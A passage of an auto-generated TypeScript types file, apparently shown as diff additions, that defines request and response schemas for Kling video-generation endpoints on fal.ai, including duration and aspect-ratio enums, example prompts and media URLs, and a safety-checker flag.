by nature. The camera swoops down and flies inside the building, revealing the character from @Element1 standing in the sun-drenched center. The camera then seamlessly transitions into a smooth 180-degree orbit around the character, moving to the back view. As the open backpack comes into focus, the camera continues to push forward, zooming deep inside the bag to reveal the glowing stone from @Element2 nestled inside. Cinematic lighting, hopeful atmosphere, 35mm lens. Make sure to keep it as the style of @Image2. + * @type string + */ + prompt: string + /** + * @description Video duration in seconds. + * @default '5' + * @type string | undefined + */ + duration?: InputFalAiKlingVideoO1ReferenceToVideoDurationEnumKey + /** + * @description The aspect ratio of the generated video frame. + * @default '16:9' + * @type string | undefined + */ + aspect_ratio?: InputFalAiKlingVideoO1ReferenceToVideoAspectRatioEnumKey + /** + * @description Additional reference images for style/appearance. Reference in prompt as @Image1, @Image2, etc. Maximum 7 total (elements + reference images + start image). + * @example ["https://v3b.fal.media/files/b/koala/v9COzzH23FGBYdGLgbK3u.png","https://v3b.fal.media/files/b/elephant/5Is2huKQFSE7A7c5uUeUF.png"] + */ + image_urls?: string[] | null + /** + * @description Elements (characters/objects) to include in the video. Reference in prompt as @Element1, @Element2, etc. Maximum 7 total (elements + reference images + start image). + * @example [{"reference_image_urls":["https://v3b.fal.media/files/b/kangaroo/YMpmQkYt9xugpOTQyZW0O.png","https://v3b.fal.media/files/b/zebra/d6ywajNyJ6bnpa_xBue-K.png"],"frontal_image_url":"https://v3b.fal.media/files/b/panda/MQp-ghIqshvMZROKh9lW3.png"},{"reference_image_urls":["https://v3b.fal.media/files/b/kangaroo/EBF4nWihspyv4pp6hgj7D.png"],"frontal_image_url":"https://v3b.fal.media/files/b/koala/gSnsA7HJlgcaTyR5Ujj2H.png"}] + */ + elements?: OmniVideoElementInput[] | null + /** + * @description Disabling safety checks requires account authorization; unauthorized requests are always checked. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean +} + +export type File6B1C0828 = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null +} + +export type OutputFalAiKlingVideoO1ReferenceToVideo = { + /** + * @description The generated video. + * @example {"file_size":47359974,"content_type":"video/mp4","url":"https://v3b.fal.media/files/b/panda/oVdiICFXY03Vbam-08Aj8_output.mp4","file_name":"output.mp4"} + * @type object + */ + video: File6B1C0828 +} + +export const inputFalAiKlingVideoO1StandardImageToVideoDurationEnum = { + '3': '3', + '4': '4', + '5': '5', + '6': '6', + '7': '7', + '8': '8', + '9': '9', + '10': '10', +} as const + +export type InputFalAiKlingVideoO1StandardImageToVideoDurationEnumKey = + (typeof inputFalAiKlingVideoO1StandardImageToVideoDurationEnum)[keyof typeof inputFalAiKlingVideoO1StandardImageToVideoDurationEnum] + +export type InputFalAiKlingVideoO1StandardImageToVideo = { + /** + * @description Use @Image1 to reference the start frame, @Image2 to reference the end frame. + * @maxLength 2500 + * @example Create a magical timelapse transition. The snow melts rapidly to reveal green grass, and the tree branches burst into bloom with pink flowers in real-time. The lighting shifts from cold winter light to warm spring sunshine. The camera pushes in slowly towards the tree. Disney-style magical transformation, cinematic, 8k. + * @type string + */ + prompt: string + /** + * @description Video duration in seconds. + * @default '5' + * @type string | undefined + */ + duration?: InputFalAiKlingVideoO1StandardImageToVideoDurationEnumKey + /** + * @description Image to use as the last frame of the video. + * @example https://v3b.fal.media/files/b/tiger/BwHi22qoQnqaTNMMhe533.png + */ + end_image_url?: string | null + /** + * @description Image to use as the first frame of the video. + * + * Max file size: 50.0MB, Min width: 300px, Min height: 300px, Min aspect ratio: 0.40, Max aspect ratio: 2.50, Timeout: 20.0s + * @example https://v3b.fal.media/files/b/rabbit/NaslJIC7F2WodS6DFZRRJ.png + * @type string + */ + start_image_url: string + /** + * @description Disabling safety checks requires account authorization; unauthorized requests are always checked. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean +} + +export type File3Be3072E = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null +} + +/** + * @description Output for Kling Omni Video generation. + * @type object + */ +export type OutputFalAiKlingVideoO1StandardImageToVideo = { + /** + * @description The generated video. + * @example {"file_size":27588984,"content_type":"video/mp4","url":"https://v3b.fal.media/files/b/koala/knryyyGF3ZVyMMrGr77CL_output.mp4","file_name":"output.mp4"} + * @type object + */ + video: File3Be3072E +} + +export const inputFalAiKlingVideoO1StandardReferenceToVideoDurationEnum = { + '3': '3', + '4': '4', + '5': '5', + '6': '6', + '7': '7', + '8': '8', + '9': '9', + '10': '10', +} as const + +export type InputFalAiKlingVideoO1StandardReferenceToVideoDurationEnumKey = + (typeof inputFalAiKlingVideoO1StandardReferenceToVideoDurationEnum)[keyof typeof inputFalAiKlingVideoO1StandardReferenceToVideoDurationEnum] + +export const inputFalAiKlingVideoO1StandardReferenceToVideoAspectRatioEnum = { + '16:9': '16:9', + '9:16': '9:16', + '1:1': '1:1', +} as const + +export type InputFalAiKlingVideoO1StandardReferenceToVideoAspectRatioEnumKey = + (typeof inputFalAiKlingVideoO1StandardReferenceToVideoAspectRatioEnum)[keyof typeof inputFalAiKlingVideoO1StandardReferenceToVideoAspectRatioEnum] + +/** + * @description Input for start-frame video generation with optional reference images and elements. + * @type object + */ +export type InputFalAiKlingVideoO1StandardReferenceToVideo = { + /** + * @description Take @Element1, @Element2 to reference elements and @Image1, @Image2 to reference images in order. + * @maxLength 2500 + * @example Take @Image1 as the start frame. Start with a high-angle satellite view of the ancient greenhouse ruin surrounded by nature. The camera swoops down and flies inside the building, revealing the character from @Element1 standing in the sun-drenched center. The camera then seamlessly transitions into a smooth 180-degree orbit around the character, moving to the back view. As the open backpack comes into focus, the camera continues to push forward, zooming deep inside the bag to reveal the glowing stone from @Element2 nestled inside. Cinematic lighting, hopeful atmosphere, 35mm lens. Make sure to keep it as the style of @Image2. + * @type string + */ + prompt: string + /** + * @description Video duration in seconds. + * @default '5' + * @type string | undefined + */ + duration?: InputFalAiKlingVideoO1StandardReferenceToVideoDurationEnumKey + /** + * @description The aspect ratio of the generated video frame. + * @default '16:9' + * @type string | undefined + */ + aspect_ratio?: InputFalAiKlingVideoO1StandardReferenceToVideoAspectRatioEnumKey + /** + * @description Additional reference images for style/appearance. Reference in prompt as @Image1, @Image2, etc. Maximum 7 total (elements + reference images + start image). + * @example ["https://v3b.fal.media/files/b/koala/v9COzzH23FGBYdGLgbK3u.png","https://v3b.fal.media/files/b/elephant/5Is2huKQFSE7A7c5uUeUF.png"] + */ + image_urls?: string[] | null + /** + * @description Elements (characters/objects) to include in the video. Reference in prompt as @Element1, @Element2, etc. Maximum 7 total (elements + reference images + start image). + * @example [{"reference_image_urls":["https://v3b.fal.media/files/b/kangaroo/YMpmQkYt9xugpOTQyZW0O.png","https://v3b.fal.media/files/b/zebra/d6ywajNyJ6bnpa_xBue-K.png"],"frontal_image_url":"https://v3b.fal.media/files/b/panda/MQp-ghIqshvMZROKh9lW3.png"},{"reference_image_urls":["https://v3b.fal.media/files/b/kangaroo/EBF4nWihspyv4pp6hgj7D.png"],"frontal_image_url":"https://v3b.fal.media/files/b/koala/gSnsA7HJlgcaTyR5Ujj2H.png"}] + */ + elements?: OmniVideoElementInput[] | null + /** + * @description Disabling safety checks requires account authorization; unauthorized requests are always checked. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean +} + +export type FileD52A5Cde = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null +} + +export type OutputFalAiKlingVideoO1StandardReferenceToVideo = { + /** + * @description The generated video. + * @example {"file_size":47359974,"content_type":"video/mp4","url":"https://v3b.fal.media/files/b/panda/oVdiICFXY03Vbam-08Aj8_output.mp4","file_name":"output.mp4"} + * @type object + */ + video: FileD52A5Cde +} + +/** + * @description Input for video editing or video-as-reference generation. + * @type object + */ +export type InputFalAiKlingVideoO1StandardVideoToVideoEdit = { + /** + * @description Whether to keep the original audio from the video. + * @default false + * @type boolean | undefined + */ + keep_audio?: boolean + /** + * @description Reference video URL. Only .mp4/.mov formats supported, 3-10 seconds duration, 720-2160px resolution, max 200MB. + * + * Max file size: 200.0MB, Min width: 720px, Min height: 720px, Max width: 2160px, Max height: 2160px, Min duration: 3.0s, Max duration: 10.05s, Min FPS: 24.0, Max FPS: 60.0, Timeout: 30.0s + * @example https://v3b.fal.media/files/b/rabbit/ku8_Wdpf-oTbGRq4lB5DU_output.mp4 + * @type string + */ + video_url: string + /** + * @description Use @Element1, @Element2 to reference elements and @Image1, @Image2 to reference images in order. + * @maxLength 2500 + * @example Replace the character in the video with @Element1, maintaining the same movements and camera angles. Transform the landscape into @Image1 + * @type string + */ + prompt: string + /** + * @description Elements (characters/objects) to include. Reference in prompt as @Element1, @Element2, etc. Maximum 4 total (elements + reference images) when using video. + * @example [{"reference_image_urls":["https://v3b.fal.media/files/b/kangaroo/YMpmQkYt9xugpOTQyZW0O.png","https://v3b.fal.media/files/b/zebra/d6ywajNyJ6bnpa_xBue-K.png"],"frontal_image_url":"https://v3b.fal.media/files/b/panda/MQp-ghIqshvMZROKh9lW3.png"}] + */ + elements?: OmniVideoElementInput[] | null + /** + * @description Reference images for style/appearance. Reference in prompt as @Image1, @Image2, etc. Maximum 4 total (elements + reference images) when using video. + * @example ["https://v3b.fal.media/files/b/lion/MKvhFko5_wYnfORYacNII_AgPt8v25Wt4oyKhjnhVK5.png"] + */ + image_urls?: string[] | null + /** + * @description Disabling safety checks requires account authorization; unauthorized requests are always checked. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean +} + +export type FileFab0Bfdf = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null +} + +export type OutputFalAiKlingVideoO1StandardVideoToVideoEdit = { + /** + * @description The generated video. + * @example {"file_size":7533071,"content_type":"video/mp4","url":"https://v3b.fal.media/files/b/0a86603b/YAlbB2535l07BTy1wpDeI_output.mp4","file_name":"output.mp4"} + * @type object + */ + video: FileFab0Bfdf +} + +export const inputFalAiKlingVideoO1StandardVideoToVideoReferenceDurationEnum = { + '3': '3', + '4': '4', + '5': '5', + '6': '6', + '7': '7', + '8': '8', + '9': '9', + '10': '10', +} as const + +export type InputFalAiKlingVideoO1StandardVideoToVideoReferenceDurationEnumKey = + (typeof inputFalAiKlingVideoO1StandardVideoToVideoReferenceDurationEnum)[keyof typeof inputFalAiKlingVideoO1StandardVideoToVideoReferenceDurationEnum] + +export const inputFalAiKlingVideoO1StandardVideoToVideoReferenceAspectRatioEnum = + { + auto: 'auto', + '16:9': '16:9', + '9:16': '9:16', + '1:1': '1:1', + } as const + +export type InputFalAiKlingVideoO1StandardVideoToVideoReferenceAspectRatioEnumKey = + (typeof inputFalAiKlingVideoO1StandardVideoToVideoReferenceAspectRatioEnum)[keyof typeof inputFalAiKlingVideoO1StandardVideoToVideoReferenceAspectRatioEnum] + +/** + * @description Input for video editing or video-as-reference generation. + * @type object + */ +export type InputFalAiKlingVideoO1StandardVideoToVideoReference = { + /** + * @description Whether to keep the original audio from the video. + * @default false + * @type boolean | undefined + */ + keep_audio?: boolean + /** + * @description Reference video URL. Only .mp4/.mov formats supported, 3-10 seconds duration, 720-2160px resolution, max 200MB. + * + * Max file size: 200.0MB, Min width: 720px, Min height: 720px, Max width: 2160px, Max height: 2160px, Min duration: 3.0s, Max duration: 10.05s, Min FPS: 24.0, Max FPS: 60.0, Timeout: 30.0s + * @example https://v3b.fal.media/files/b/panda/oVdiICFXY03Vbam-08Aj8_output.mp4 + * @type string + */ + video_url: string + /** + * @description Video duration in seconds. + * @default '5' + * @type string | undefined + */ + duration?: InputFalAiKlingVideoO1StandardVideoToVideoReferenceDurationEnumKey + /** + * @description The aspect ratio of the generated video frame. If 'auto', the aspect ratio will be determined automatically based on the input video, and the closest aspect ratio to the input video will be used. + * @default 'auto' + * @type string | undefined + */ + aspect_ratio?: InputFalAiKlingVideoO1StandardVideoToVideoReferenceAspectRatioEnumKey + /** + * @description Elements (characters/objects) to include. Reference in prompt as @Element1, @Element2, etc. Maximum 4 total (elements + reference images) when using video. + * @example [{"reference_image_urls":["https://v3b.fal.media/files/b/kangaroo/YMpmQkYt9xugpOTQyZW0O.png","https://v3b.fal.media/files/b/zebra/d6ywajNyJ6bnpa_xBue-K.png"],"frontal_image_url":"https://v3b.fal.media/files/b/panda/MQp-ghIqshvMZROKh9lW3.png"}] + */ + elements?: OmniVideoElementInput[] | null + /** + * @description Use @Element1, @Element2 to reference elements and @Image1, @Image2 to reference images in order. + * @maxLength 2500 + * @example Based on @Video1, generate the next shot. keep the style of the video + * @type string + */ + prompt: string + /** + * @description Reference images for style/appearance. Reference in prompt as @Image1, @Image2, etc. Maximum 4 total (elements + reference images) when using video. + * @example [] + */ + image_urls?: string[] | null + /** + * @description Disabling safety checks requires account authorization; unauthorized requests are always checked. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean +} + +export type File7249B76A = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null +} + +export type OutputFalAiKlingVideoO1StandardVideoToVideoReference = { + /** + * @description The generated video. + * @example {"file_size":28472159,"content_type":"video/mp4","url":"https://v3b.fal.media/files/b/kangaroo/3n_Lpxm_SjK5NYyBobRdS_output.mp4","file_name":"output.mp4"} + * @type object + */ + video: File7249B76A +} + +/** + * @description Input for video editing or video-as-reference generation. + * @type object + */ +export type InputFalAiKlingVideoO1VideoToVideoEdit = { + /** + * @description Whether to keep the original audio from the video. + * @default false + * @type boolean | undefined + */ + keep_audio?: boolean + /** + * @description Reference video URL. Only .mp4/.mov formats supported, 3-10 seconds duration, 720-2160px resolution, max 200MB. + * + * Max file size: 200.0MB, Min width: 720px, Min height: 720px, Max width: 2160px, Max height: 2160px, Min duration: 3.0s, Max duration: 10.05s, Min FPS: 24.0, Max FPS: 60.0, Timeout: 30.0s + * @example https://v3b.fal.media/files/b/rabbit/ku8_Wdpf-oTbGRq4lB5DU_output.mp4 + * @type string + */ + video_url: string + /** + * @description Use @Element1, @Element2 to reference elements and @Image1, @Image2 to reference images in order. + * @maxLength 2500 + * @example Replace the character in the video with @Element1, maintaining the same movements and camera angles. Transform the landscape into @Image1 + * @type string + */ + prompt: string + /** + * @description Elements (characters/objects) to include. Reference in prompt as @Element1, @Element2, etc. Maximum 4 total (elements + reference images) when using video. + * @example [{"reference_image_urls":["https://v3b.fal.media/files/b/kangaroo/YMpmQkYt9xugpOTQyZW0O.png","https://v3b.fal.media/files/b/zebra/d6ywajNyJ6bnpa_xBue-K.png"],"frontal_image_url":"https://v3b.fal.media/files/b/panda/MQp-ghIqshvMZROKh9lW3.png"}] + */ + elements?: OmniVideoElementInput[] | null + /** + * @description Reference images for style/appearance. Reference in prompt as @Image1, @Image2, etc. Maximum 4 total (elements + reference images) when using video. + * @example ["https://v3b.fal.media/files/b/lion/MKvhFko5_wYnfORYacNII_AgPt8v25Wt4oyKhjnhVK5.png"] + */ + image_urls?: string[] | null + /** + * @description Disabling safety checks requires account authorization; unauthorized requests are always checked. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean +} + +export type FileA354Ae9D = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null +} + +export type OutputFalAiKlingVideoO1VideoToVideoEdit = { + /** + * @description The generated video. + * @example {"file_size":7533071,"content_type":"video/mp4","url":"https://v3b.fal.media/files/b/0a86603b/YAlbB2535l07BTy1wpDeI_output.mp4","file_name":"output.mp4"} + * @type object + */ + video: FileA354Ae9D +} + +export const inputFalAiKlingVideoO1VideoToVideoReferenceDurationEnum = { + '3': '3', + '4': '4', + '5': '5', + '6': '6', + '7': '7', + '8': '8', + '9': '9', + '10': '10', +} as const + +export type InputFalAiKlingVideoO1VideoToVideoReferenceDurationEnumKey = + (typeof inputFalAiKlingVideoO1VideoToVideoReferenceDurationEnum)[keyof typeof inputFalAiKlingVideoO1VideoToVideoReferenceDurationEnum] + +export const inputFalAiKlingVideoO1VideoToVideoReferenceAspectRatioEnum = { + auto: 'auto', + '16:9': '16:9', + '9:16': '9:16', + '1:1': '1:1', +} as const + +export type InputFalAiKlingVideoO1VideoToVideoReferenceAspectRatioEnumKey = + (typeof inputFalAiKlingVideoO1VideoToVideoReferenceAspectRatioEnum)[keyof typeof inputFalAiKlingVideoO1VideoToVideoReferenceAspectRatioEnum] + +/** + * @description Input for video editing or video-as-reference generation. + * @type object + */ +export type InputFalAiKlingVideoO1VideoToVideoReference = { + /** + * @description Whether to keep the original audio from the video. + * @default false + * @type boolean | undefined + */ + keep_audio?: boolean + /** + * @description Reference video URL. Only .mp4/.mov formats supported, 3-10 seconds duration, 720-2160px resolution, max 200MB. + * + * Max file size: 200.0MB, Min width: 720px, Min height: 720px, Max width: 2160px, Max height: 2160px, Min duration: 3.0s, Max duration: 10.05s, Min FPS: 24.0, Max FPS: 60.0, Timeout: 30.0s + * @example https://v3b.fal.media/files/b/panda/oVdiICFXY03Vbam-08Aj8_output.mp4 + * @type string + */ + video_url: string + /** + * @description Video duration in seconds. + * @default '5' + * @type string | undefined + */ + duration?: InputFalAiKlingVideoO1VideoToVideoReferenceDurationEnumKey + /** + * @description The aspect ratio of the generated video frame. If 'auto', the aspect ratio will be determined automatically based on the input video, and the closest aspect ratio to the input video will be used. + * @default 'auto' + * @type string | undefined + */ + aspect_ratio?: InputFalAiKlingVideoO1VideoToVideoReferenceAspectRatioEnumKey + /** + * @description Elements (characters/objects) to include. Reference in prompt as @Element1, @Element2, etc. Maximum 4 total (elements + reference images) when using video. + * @example [{"reference_image_urls":["https://v3b.fal.media/files/b/kangaroo/YMpmQkYt9xugpOTQyZW0O.png","https://v3b.fal.media/files/b/zebra/d6ywajNyJ6bnpa_xBue-K.png"],"frontal_image_url":"https://v3b.fal.media/files/b/panda/MQp-ghIqshvMZROKh9lW3.png"}] + */ + elements?: OmniVideoElementInput[] | null + /** + * @description Use @Element1, @Element2 to reference elements and @Image1, @Image2 to reference images in order. + * @maxLength 2500 + * @example Based on @Video1, generate the next shot. keep the style of the video + * @type string + */ + prompt: string + /** + * @description Reference images for style/appearance. Reference in prompt as @Image1, @Image2, etc. Maximum 4 total (elements + reference images) when using video. + * @example [] + */ + image_urls?: string[] | null + /** + * @description Disabling safety checks requires account authorization; unauthorized requests are always checked. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean +} + +export type File35A37410 = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null +} + +export type OutputFalAiKlingVideoO1VideoToVideoReference = { + /** + * @description The generated video. + * @example {"file_size":28472159,"content_type":"video/mp4","url":"https://v3b.fal.media/files/b/kangaroo/3n_Lpxm_SjK5NYyBobRdS_output.mp4","file_name":"output.mp4"} + * @type object + */ + video: File35A37410 +} + +export const klingV3MultiPromptElementDurationEnum = { + '1': '1', + '2': '2', + '3': '3', + '4': '4', + '5': '5', + '6': '6', + '7': '7', + '8': '8', + '9': '9', + '10': '10', + '11': '11', + '12': '12', + '13': '13', + '14': '14', + '15': '15', +} as const + +export type KlingV3MultiPromptElementDurationEnumKey = + (typeof klingV3MultiPromptElementDurationEnum)[keyof typeof klingV3MultiPromptElementDurationEnum] + +export type KlingV3MultiPromptElement = { + /** + * @description The duration of this shot in seconds + * @default '5' + * @type string | undefined + */ + duration?: KlingV3MultiPromptElementDurationEnumKey + /** + * @description The prompt for this shot. + * @type string + */ + prompt: string +} + +export const inputFalAiKlingVideoO34KImageToVideoDurationEnum = { + '3': '3', + '4': '4', + '5': '5', + '6': '6', + '7': '7', + '8': '8', + '9': '9', + '10': '10', + '11': '11', + '12': '12', + '13': '13', + '14': '14', + '15': '15', +} as const + +export type InputFalAiKlingVideoO34KImageToVideoDurationEnumKey = + (typeof inputFalAiKlingVideoO34KImageToVideoDurationEnum)[keyof typeof inputFalAiKlingVideoO34KImageToVideoDurationEnum] + +export const inputFalAiKlingVideoO34KImageToVideoShotTypeEnum = { + customize: 'customize', + intelligent: 'intelligent', +} as const + +export type InputFalAiKlingVideoO34KImageToVideoShotTypeEnumKey = + (typeof inputFalAiKlingVideoO34KImageToVideoShotTypeEnum)[keyof typeof inputFalAiKlingVideoO34KImageToVideoShotTypeEnum] + +export type InputFalAiKlingVideoO34KImageToVideo = { + /** + * @description URL of the start frame image. + * @example https://v3b.fal.media/files/b/0a8cfd5a/8ABMp4n9rh3kfD2Rq8fHd_start_frame.png + * @type string + */ + image_url: string + /** + * @description Video duration in seconds (3-15s). + * @default '5' + * @example 10 + * @type string | undefined + */ + duration?: InputFalAiKlingVideoO34KImageToVideoDurationEnumKey + /** + * @description URL of the end frame image (optional). + */ + end_image_url?: string | null + /** + * @description The type of multi-shot video generation. 'intelligent' lets the model automatically determine shot structure. + * @default 'customize' + * @type string | undefined + */ + shot_type?: InputFalAiKlingVideoO34KImageToVideoShotTypeEnumKey + /** + * @description Text prompt for video generation. Either prompt or multi_prompt must be provided, but not both. + * @example The character walks forward slowly, with the camera following from behind. + */ + prompt?: string | null + /** + * @description Whether to generate native audio for the video. + * @default false + * @type boolean | undefined + */ + generate_audio?: boolean + /** + * @description List of prompts for multi-shot video generation. + * @example null + */ + multi_prompt?: KlingV3MultiPromptElement[] | null + /** + * @description Disabling safety checks requires account authorization; unauthorized requests are always checked. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean +} + +export type File29A80370 = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null +} + +export type OutputFalAiKlingVideoO34KImageToVideo = { + /** + * @description The generated video. + * @example {"file_size":12037975,"content_type":"video/mp4","url":"https://v3b.fal.media/files/b/0a8d0278/pgIO9yOXTFCTetKBsqDwX_output.mp4","file_name":"output.mp4"} + * @type object + */ + video: File29A80370 +} + +export type KlingV3ComboElementInput = { + /** + * @description Additional reference images from different angles. 1-3 images supported. At least one image is required. + */ + reference_image_urls?: string[] | null + /** + * @description The frontal image of the element (main view). + */ + frontal_image_url?: string | null + /** + * @description The voice ID for this element. The voice will be binded to the element and references to this element will use the binded voice. Get voice IDs from the following endpoint: https://fal.ai/models/fal-ai/kling-video/create-voice + */ + voice_id?: string | null + /** + * @description The video URL of the element. A request can only have one element with a video. + */ + video_url?: string | null +} + +export const inputFalAiKlingVideoO34KReferenceToVideoDurationEnum = { + '3': '3', + '4': '4', + '5': '5', + '6': '6', + '7': '7', + '8': '8', + '9': '9', + '10': '10', + '11': '11', + '12': '12', + '13': '13', + '14': '14', + '15': '15', +} as const + +export type InputFalAiKlingVideoO34KReferenceToVideoDurationEnumKey = + (typeof inputFalAiKlingVideoO34KReferenceToVideoDurationEnum)[keyof typeof inputFalAiKlingVideoO34KReferenceToVideoDurationEnum] + +export const inputFalAiKlingVideoO34KReferenceToVideoAspectRatioEnum = { + '16:9': '16:9', + '9:16': '9:16', + '1:1': '1:1', +} as const + +export type InputFalAiKlingVideoO34KReferenceToVideoAspectRatioEnumKey = + (typeof inputFalAiKlingVideoO34KReferenceToVideoAspectRatioEnum)[keyof typeof inputFalAiKlingVideoO34KReferenceToVideoAspectRatioEnum] + +export const inputFalAiKlingVideoO34KReferenceToVideoShotTypeEnum = { + customize: 'customize', + intelligent: 'intelligent', +} as const + +export type InputFalAiKlingVideoO34KReferenceToVideoShotTypeEnumKey = + (typeof inputFalAiKlingVideoO34KReferenceToVideoShotTypeEnum)[keyof typeof inputFalAiKlingVideoO34KReferenceToVideoShotTypeEnum] + +export type InputFalAiKlingVideoO34KReferenceToVideo = { + /** + * @description Video duration in seconds (3-15s). + * @default '5' + * @example 8 + * @type string | undefined + */ + duration?: InputFalAiKlingVideoO34KReferenceToVideoDurationEnumKey + /** + * @description Image to use as the last frame of the video. + * @example https://v3b.fal.media/files/b/tiger/BwHi22qoQnqaTNMMhe533.png + */ + end_image_url?: string | null + /** + * @description The aspect ratio of the generated video frame. + * @default '16:9' + * @type string | undefined + */ + aspect_ratio?: InputFalAiKlingVideoO34KReferenceToVideoAspectRatioEnumKey + /** + * @description Elements (characters/objects) to include. Reference in prompt as @Element1, @Element2. + * @example null + */ + elements?: KlingV3ComboElementInput[] | null + /** + * @description The type of multi-shot video generation. 'intelligent' lets the model automatically determine shot structure. + * @default 'customize' + * @type string | undefined + */ + shot_type?: InputFalAiKlingVideoO34KReferenceToVideoShotTypeEnumKey + /** + * @description Text prompt for video generation. Either prompt or multi_prompt must be provided, but not both. + * @example @Element1 and @Element2 enters the scene from two sides. Elephant starts to play with the ball + */ + prompt?: string | null + /** + * @description Whether to generate native audio for the video. + * @default false + * @type boolean | undefined + */ + generate_audio?: boolean + /** + * @description Image to use as the first frame of the video. + * @example https://v3b.fal.media/files/b/rabbit/NaslJIC7F2WodS6DFZRRJ.png + */ + start_image_url?: string | null + /** + * @description Reference images for style/appearance. Reference in prompt as @Image1, @Image2, etc. Maximum 7 total (elements + reference images) is allowed. + * @example null + */ + image_urls?: string[] | null + /** + * @description List of prompts for multi-shot video generation. + * @example null + */ + multi_prompt?: KlingV3MultiPromptElement[] | null + /** + * @description Disabling safety checks requires account authorization; unauthorized requests are always checked. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean +} + +export type FileF6C26068 = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null +} + +export type OutputFalAiKlingVideoO34KReferenceToVideo = { + /** + * @description The generated video. + * @example {"file_size":18468404,"content_type":"video/mp4","url":"https://v3b.fal.media/files/b/0a8d1c8a/ZxdKrvPb3CQEmeuS-u_kU_output.mp4","file_name":"output.mp4"} + * @type object + */ + video: FileF6C26068 +} + +export const inputFalAiKlingVideoO34KTextToVideoDurationEnum = { + '3': '3', + '4': '4', + '5': '5', + '6': '6', + '7': '7', + '8': '8', + '9': '9', + '10': '10', + '11': '11', + '12': '12', + '13': '13', + '14': '14', + '15': '15', +} as const + +export type InputFalAiKlingVideoO34KTextToVideoDurationEnumKey = + (typeof inputFalAiKlingVideoO34KTextToVideoDurationEnum)[keyof typeof inputFalAiKlingVideoO34KTextToVideoDurationEnum] + +export const inputFalAiKlingVideoO34KTextToVideoAspectRatioEnum = { + '16:9': '16:9', + '9:16': '9:16', + '1:1': '1:1', +} as const + +export type InputFalAiKlingVideoO34KTextToVideoAspectRatioEnumKey = + (typeof inputFalAiKlingVideoO34KTextToVideoAspectRatioEnum)[keyof typeof inputFalAiKlingVideoO34KTextToVideoAspectRatioEnum] + +export const inputFalAiKlingVideoO34KTextToVideoShotTypeEnum = { + customize: 'customize', + intelligent: 'intelligent', +} as const + +export type InputFalAiKlingVideoO34KTextToVideoShotTypeEnumKey = + (typeof inputFalAiKlingVideoO34KTextToVideoShotTypeEnum)[keyof typeof inputFalAiKlingVideoO34KTextToVideoShotTypeEnum] + +export type InputFalAiKlingVideoO34KTextToVideo = { + /** + * @description Whether to generate native audio for the video. + * @default false + * @type boolean | undefined + */ + generate_audio?: boolean + /** + * @description Text prompt for video generation. Required unless multi_prompt is provided. + * @example A mecha lands on the ground to save the city, and says "I'm here", in anime style + */ + prompt?: string | null + /** + * @description Video duration in seconds (3-15s). + * @default '5' + * @type string | undefined + */ + duration?: InputFalAiKlingVideoO34KTextToVideoDurationEnumKey + /** + * @description Aspect ratio of the generated video. + * @default '16:9' + * @type string | undefined + */ + aspect_ratio?: InputFalAiKlingVideoO34KTextToVideoAspectRatioEnumKey + /** + * @description List of prompts for multi-shot video generation. + * @example null + */ + multi_prompt?: KlingV3MultiPromptElement[] | null + /** + * @description The type of multi-shot video generation. 'intelligent' lets the model automatically determine shot structure. + * @default 'customize' + * @type string | undefined + */ + shot_type?: InputFalAiKlingVideoO34KTextToVideoShotTypeEnumKey + /** + * @description Disabling safety checks requires account authorization; unauthorized requests are always checked. + * @default true + * @type boolean | undefined + */ 